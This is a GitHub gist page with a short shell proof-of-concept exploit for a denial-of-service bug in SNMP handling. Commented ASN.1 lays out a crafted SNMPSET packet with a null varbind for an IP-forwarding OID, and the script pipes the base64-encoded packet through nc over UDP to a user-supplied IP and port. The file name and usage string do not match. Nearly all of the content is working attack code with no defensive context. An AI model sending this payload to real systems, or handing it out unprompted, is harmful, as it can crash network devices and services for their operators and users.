/snmp_ddos_ipv6forward.sh Secret
Created
October 31, 2022 05:33
Star
You must be signed in to star a gist
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
############### PoC for SNMP DDoS vulnerability ############### | |
# null-pointer-ref during handle SNMP requeset | |
# craft an SNMPSET packet with NULL varlist data | |
#SEQUENCE (3 elem) | |
# INTEGER 1 | |
# OCTET STRING (7 byte) private | |
# [3] (4 elem) | |
# INTEGER 323767835 | |
# INTEGER 0 | |
# INTEGER 0 | |
# SEQUENCE (1 elem) | |
# SEQUENCE (2 elem) | |
# OBJECT IDENTIFIER 1.3.6.1.2.1.4.25.0 | |
# NULL | |
if [ "$#" -ne 2 ]; then | |
echo "Usage: ./snmp_ddos_ipttl.sh IP PORT" | |
fi | |
IP=$1 | |
PORT=$2 | |
echo "MCoCAQEEB3ByaXZhdGWjHAIEE0xOGwIBAAIBADAOMAwGCCsGAQIBBBkABQA=" | base64 -d | nc -u $IP $PORT | |
exit 1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment